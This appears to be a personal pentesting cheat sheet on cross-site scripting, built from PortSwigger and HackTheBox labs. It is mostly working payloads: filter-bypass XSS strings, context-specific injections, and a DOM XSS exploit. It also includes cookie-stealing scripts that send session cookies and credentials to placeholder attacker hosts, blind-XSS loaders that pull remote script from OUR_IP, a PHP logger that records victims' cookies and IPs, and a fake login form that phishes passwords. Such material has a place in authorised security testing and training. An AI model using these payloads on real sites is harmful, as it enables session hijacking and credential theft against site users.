Cross Site Scripting (XSS)
Reflected XSS
Test every entry point.
Submit random alphanumeric values
Determine the reflection context.
This might be in text between HTML tags
Within a tag attribute which might be quoted
within a JavaScript string
etc.
Test a candidate payload
Send to repeter to facilitated the testing process
Test alternative payloads.
In order to bypass WAF or Security Protections
Test the attack in a browser.
// Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="javascript:alert(23)">
// Img payload
<img src=x onerror=alert('XSS')>
<img src=x onerror=alert('XSS')//
<><img src=x onerror=alert('XSS')>
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
<><img src=1 onerror=alert(1)>
// Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)
<svg><script>alert('33')
<svg><script>alert('33')
// Div payload
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>
XSS in document.write
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
XSS in innerHTML
Between div tags:
<img src=x onerror=alert('XSS')>
XSS in URI
Identify endpoints such as: https://example.com/feedback?returnPath=PAYLOADHERE then attempt the next payloads:
javascript:prompt(1)
XSS on window.location.hash
https://example.net/#<img%20src=x%20onerror=print()>
<iframe src="https://example.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
XSS when brackets are encoded
if you see the payload is encoded such as: > attempt to inject the payload in the same tag for example
#Example
<input type=text placeholder='Search the blog...' name=search value="PAYLOAD HERE">
#Injecting within the same tage
<input type=text placeholder='Search the blog...' name=search value="" onmouseover="alert(1)">
XSS when double quotes are encoded
Find any other parameter where the input is reflected such as href:

javascript:alert(1)
XSS into a JavaScript string with angle brackets HTML encoded
If the payload is reflected in a structure such as: var searchTerms = 'mypayload';
'; alert(1); '
DOM XSS in AngularJS expression
if you identified a ng-app word in html is worth to try this payload:
{{constructor.constructor('alert(1)')()}}
Reflected DOM XSS
This application uses a vulnerable JavaScript script that utilizes the eval
function to process a parameter passed into the application and reflects it onto the website.
function search(path) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
displaySearchResults(searchResultsObj);
}
};
xhr.open("GET", path + window.location.search);
xhr.send();
function displaySearchResults(searchResultsObj) {
var blogHeader = document.getElementsByClassName("blog-header")[0];
var blogList = document.getElementsByClassName("blog-list")[0];
var searchTerm = searchResultsObj.searchTerm
var searchResults = searchResultsObj.results

Exploit:
GET /search-results?search=12345\"};alert(1);//
Reflected XSS into HTML context with tags and attributes blocked
Use https://portswigger.net/web-security/cross-site-scripting/cheat-sheet to retrieve a list of all tags an events and fuzz using intruder to obtain the valid tags and events and craft the xss payload.
<iframe src="https://0a5a00da04386d03824bd49800ba000f.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
<script>
location = 'https://0a5a00da04386d03824bd49800ba000f.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>
Reflected XSS in canonical link tag
if the espace character is encoded you could use %09 (tab) to bypass the space restriction.
<--Example of canonical link that encode brakets and space-->
<link rel="canonical" href='https://0a8b00c004a774198352284200910030.web-security-academy.net/?param=1'/>
<--To bypass the space-->
1'%09onclick=alert(1)%09accesskey='x
Reflected XSS into a javascript string with single quote and blackslash escaped
'</script><script>alert(1)</script>';
Cookie steal samples
Example 1: Simple cookie steal
<script type="text/javascript">
document.location='https://YOURWEBSITE.COM/cookiestealer.php?c='+encodeURIComponent(btoa(document.cookie));
</script>
Example 2: Cookie steal without user interaction
<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
Example 3: Sending data via post
function steal() {
var token = document.getElementsByName('csrf')[0].value;
var username = document.getElementsByName('username')[0].value;
var password = document.getElementsByName('password')[0].value;
var data = new FormData();
data.append('csrf', token);
data.append('postId', 8);
data.append('comment', `${username}:${password}`);
data.append('name', 'example');
data.append('email', 'intrusionz3r0@example.com');
data.append('website', 'http://test.com');
fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
}
Example 4: Sending data via Get
function steal() {
var token = document.getElementsByName('csrf')[0].value;
var username = document.getElementsByName('username')[0].value;
var password = document.getElementsByName('password')[0].value;
var exfiltratedData = `username=${encodeURIComponent(username)}&password=${encodeURIComponent(password)}&csrf=${encodeURIComponent(token)}`;
var img = new Image();
img.src = `http://tu-servidor.com/steal?${exfiltratedData}`;
}
Example 5: Change Email information
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
How to hunt Blind XSS
Set up a http server
Select the payload :
<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'http://OUR_IP\\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>
PayloadsAllTheThings/XSS Injection at master · swisskyrepo/PayloadsAllTheThings
You have to test each input field by using a <field-name>.js in a such way that when it is processed the vulnerable field will hit your server.
<script src=http://OUR_IP/fullname>
<script src=http://OUR_IP/profileimage>
<script src=http://OUR_IP/text>
image.png
Send the request and if you are lucky it will hit the serve and you will know which is the vulnerable field.
sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (<http://0.0.0.0:80/>) ...
10.129.244.32 - - [15/Oct/2024 21:56:11] "GET /Profile HTTP/1.1" 404 -
XSS Session hijaking
Set up the php server
Select the payload:
"><script src=http://OUR_IP></script>
Create the script.js
new Image().src='http://OUR_IP/index.php?c='+document.cookie
Create the index.php
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\\n");
fclose($file);
}
}
?>
Send to the vulnerable field.
XSS via uploaded image
Intrusionz3r0@htb[/htb]$ exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
XSS via SVG
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "<http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd>">
<svg xmlns="<http://www.w3.org/2000/svg>" version="1.1" width="1" height="1">
<rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
<script type="text/javascript">alert(window.origin);</script>
</svg>
Form Malicious Payload
<h3>Please login to continue</h3>
<form action=http://10.10.14.17/test.php>
<input type="username" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" name="submit" value="Login">
</form>
document.write('FORM-HERE')
Tools:
Awesome resources
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS Injection/README.md
Last updated